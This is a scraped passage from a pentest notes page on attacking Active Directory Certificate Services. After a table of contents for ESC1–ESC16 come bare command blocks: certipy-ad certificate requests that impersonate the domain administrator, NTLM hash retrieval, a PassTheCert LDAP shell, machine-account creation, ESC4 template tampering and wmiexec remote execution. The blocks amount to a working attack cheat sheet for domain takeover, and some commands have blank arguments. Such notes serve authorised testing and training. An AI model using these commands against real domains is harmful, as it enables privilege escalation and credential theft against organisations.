Kerberoschevron-right](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/attacking-kerberos) Last updated 9 months ago * [Introduction to ADCS](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/acds#introduction-to-adcs) * [Common ADCS Vulnerabilities](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/acds#common-adcs-vulnerabilities) * [Main Components](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/acds#main-components) * [X.509 Certificate Formats](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/acds#x.509-certificate-formats) * [Main Certificate Attributes](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/acds#main-certificate-attributes) * [CSR (Certificate Signing Request) Process](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/acds#csr-certificate-signing-request-process) * [Checking Misconfigured Templates](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/acds#checking-misconfigured-templates) * [Common Issues and Solutions](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/acds#common-issues-and-solutions) * [KDC\_ERR\_PADATA\_TYPE\_NOSUPP Error](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/acds#kdc_err_padata_type_nosupp-error) * [ESC Attack Techniques](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/acds#esc-attack-techniques) * [ESC1 - Domain Users Enrollment](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/acds#esc1-domain-users-enrollment) * [ESC2](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/acds#esc2) * [ESC3](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/acds#esc3) * [ESC4](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/acds#esc4) * [ESC5](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/acds#esc5) * [ESC6](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/acds#esc6) * [ESC7](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/acds#esc7) * [ESC8](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/acds#esc8) * [ESC9](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/acds#esc9) * [ESC10](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/acds#esc10) * [ESC11](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/acds#esc11) * [ESC13](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/acds#esc13) * [ESC14](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/acds#esc14) * [ESC15](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/acds#esc15) * [ESC16](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/acds#esc16) * [Tools and Resources](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/acds#tools-and-resources) * [Primary Tools](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/acds#primary-tools) * [Useful References](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/acds#useful-references) * [Notes and Best Practices](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/acds#notes-and-best-practices) Copy certipy-ad find -u user@domain.htb -p 'Password01!' -dc-ip 10.10.10.10 -vulnerable -stdout Copy # Extract private key and certificate from PFX certipy-ad cert -pfx administrator.pfx -nokey -out administrator.crt certipy-ad cert -pfx administrator.pfx -nocert -out administrator.key # Authenticate using PassTheCert python3 /opt/PassTheCert/Python/passthecert.py -action whoami -crt administrator.crt -key administrator.key -domain domain.htb -dc-ip 10.10.10.10 # Get LDAP shell access python3 /opt/PassTheCert/Python/passthecert.py -action ldap-shell -crt administrator.crt -key administrator.key -domain domain.htb -dc-ip 10.10.10.10 Copy # Authentication with credentials certipy-ad req -u user@domain.htb -p "Password01!" -ca -template -upn administrator@domain.htb -dc-ip 10.10.10.10 # Authentication with NTLM hash (Pass-The-Hash) certipy-ad req -u user@domain.htb -hashes '' -ca -template -upn administrator@domain.htb -dc-ip 10.10.10.10 # Kerberos authentication (requires TGT/.ccache file in KRB5CCNAME) certipy-ad req -k -no-pass -ca -template -upn administrator@domain.htb -dc-ip 10.10.10.10 -target dc.domain.htb Copy certipy-ad auth -pfx administrator.pfx -dc-ip 10.10.10.10 -d domain.htb Copy # Add new machine to domain using PowerView powerview domain.htb/'user':'password'@10.10.10.10 --dc-ip 10.10.10.10 PV > Add-ADComputer -ComputerName Gzzcoo -ComputerPass Gzzcoo123 # Request certificate as machine account certipy-ad req -u 'Gzzcoo$'@domain.htb -p 'Gzzcoo123' -ca -template -upn administrator@domain.htb -dc-ip 10.10.10.10 Copy certipy-ad req -u user@domain.htb -p "Password01!" -ca -template -upn user Copy certipy-ad auth -pfx administrator.pfx -username administrator -dc-ip 10.10.10.10 -d domain.htb Copy KRB5CCNAME=administrator.ccache wmiexec.py domain.htb/administrator@dc.domain.htb -k -no-pass Copy # Request initial certificate certipy-ad req -u user@domain.htb -p "Password01!" -ca -template /altname:administrator@domain.htb # Request certificate impersonating Administrator certipy-ad req -u user@domain.htb -p "Password01!" -ca -template -on-behalf-of 'domain.htb\administrator' -pfx user.pfx Copy # Attack vulnerable ESC4 template certipy-ad template -u 'user@domain.htb' -p 'Password01!' -template -save-old -dc-ip 10.10.10.10 # Verify template modification certipy-ad find -u 'user@domain.htb' -p 'Password01!' -dc-ip 10.10.10.10 -vulnerable -stdout # Abuse modified template certipy-ad req -u 'user@domain.htb' -p 'Password01!' -ca -template -upn Administrator -dc-ip 10.10.10.10 # Get NTLM hash certipy-ad auth -pfx administrator.pfx -domain domain.htb # Restore template to original state certipy-ad template -u 'user@domain.htb' -p 'Password01!' -template -configuration .json Copy # Request Domain Admin certificate certipy-ad req -u 'user@domain.htb' -p 'Password01!' -dc-ip -ns -dns-tcp -target-ip -ca -template